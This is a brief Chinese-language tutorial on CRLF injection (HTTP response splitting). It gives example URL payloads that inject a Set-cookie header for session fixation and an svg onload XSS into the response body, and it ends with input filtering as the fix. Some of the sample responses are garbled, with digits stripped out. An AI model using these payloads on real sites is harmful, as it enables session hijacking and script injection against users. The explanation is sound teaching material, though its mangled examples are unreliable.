CRLF injection 簡單總結
簡介
CRLF是”回車 + 換行”(\r\n)的簡稱,即我們都知道在HTTP協定中,HTTP Header與HTTP Body是用兩個CRLF分隔的,浏覽器就是根據這兩個CRLF來提取HTTP 内容
一旦我們能夠控制http頭,通過注入一些CRLF這樣就可以控制header和body的分割線,這樣我們就可以向body或是header中注入些東西了。是以CRLF Injection又叫HTTP Response Splitting,簡稱HRS。
Example
通常來說,網站多數會通過HTTP Header 中的location的方式來實作跳轉。
一般格式就是Location:xxx,簡單例子
HTTP/1.1 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.xxx.com
302跳與301跳的差別
http://www.cnblogs.com/fanyong/archive/2013/07/20/3202586.html
如果location直接從URL裡獲得的話, 輸入
http://www.xxx.com%0aSet-cookie:JSPSESSID%3d12345
這樣子,Header就變成了
HTTP/ Moved Temporarily
Date: Fri, Jun :: GMT
Content-Type: text/html
Content-Length:
Connection: close
Location: http://www.xxx.com
Set-cookie:JSPSESSID=
瞬間就設定上了一個session,也就是“會話固定漏洞”
此外,比較有價值的是很容易造出一個能夠輕松繞過filter的XSS,還是剛才那個例子,如果我們輸入
http://www.xxx.com%0d%0a%0d%0a
HTTP/ Moved Temporarily
Date: Fri, Jun :: GMT
Content-Type: text/html
Content-Length:
Connection: close
Location: http://www.xxx.com
<svg/onload=prompt()>
那麼網頁的内容中就會有一個反射型的XSS了。
修複
隻需要對輸入進行過濾,過濾掉 ‘\r’ 和 ‘\n’,進而避免輸入的資料污染到其他HTTP頭。